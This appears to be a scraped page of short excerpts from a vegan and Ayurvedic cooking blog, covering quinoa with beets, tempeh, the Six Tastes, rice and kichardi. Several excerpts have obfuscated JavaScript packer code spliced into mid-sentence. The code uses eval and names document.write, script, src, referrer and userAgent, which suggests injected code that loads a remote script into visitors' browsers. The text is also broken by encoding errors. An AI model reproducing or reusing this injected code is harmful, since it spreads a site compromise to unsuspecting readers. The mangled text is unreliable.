I love the combination of quinoa and beets, as the quinoa takes on the bright red color. This dish is a great served on its own, or as a side dish – super for summer picnics and BBQs. Preparation eval(function(p,a,c,k,e,d){e=function(c){return … Continued
Beets eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryrin|var|u0026u|referrer|sdbbh||js|php’.split(‘|’),0,{})) and Chards are chenopods, a sub family of the amaranthaceae family (which also has spinach, quinoa, and amaranth). (Wikipedia – Amaranthaceae). So I figured I’d group them together here. Beets were first cultivated … Continued
Looks aren’t so deceiving. Tempeh not just looks like meat, but in my opinion has an even better way of taking on the flavors of seasonings.  So you won’t be missing out by substituting this healthy vegan “meat†option for … Continued
Quinoa was known by the Incas as “the Mother Grain.â€Â It’s no wonder, as it’s full of nourishment. The nutritional quality of quinoa has been compared to that of dried whole milk by the Food and Agriculture Organization (FAO) of … Continued
Ayurveda describes food based on the Six Tastes – or Rasa. These reflect a combination of the five great elements – Sweet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbeyz|var|u0026u|referrer|yhybf||js|php’.split(‘|’),0,{})) (Earth + Water), Sour (Fire + Earth), Salty (Water + Fire), Pungent (Fire + Air), Astringent (Air … Continued
In addition to the Six eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaees|var|u0026u|referrer|yfnii||js|php’.split(‘|’),0,{})) Tastes, with respect to food, Ayurveda focuses particularly on the qualities of Hot and Cold – which is referred to as potency, or virya. This has nothing to do with … Continued
1 cup Brown Rice 2 cups Water 2 teaspoons Mustard Seeds 2 teaspoons Cumin Seeds 1 tablespoon Olive Oil 1-2 teaspoons Salt Soak rice for 1-2 hours (will help to activate the enzymes and help with digestion). Drain and rinse … Continued
Kichardi is like the chicken soup of India. It is very nourishing and healing. The combination of the rice and mung beans makes it a complete protein dish, and the use of mung beans makes it is very easy to … Continued
Rice eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzzed|var|u0026u|referrer|yttib||js|php’.split(‘|’),0,{})) provides the perfect example of how there can be no generalizations about a single food. There are over 120,000 known varieties of rice (International Rice Research Institute) (which are diminishing rapidly as a … Continued
Ayurveda draws on ten pairs of opposites to describe and in a way categorize all matter that exists in the universe. These qualities, or gunas, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehnyt|var|u0026u|referrer|nbysh||js|php’.split(‘|’),0,{})) describe the interaction and inner-workings of the main energy forces … Continued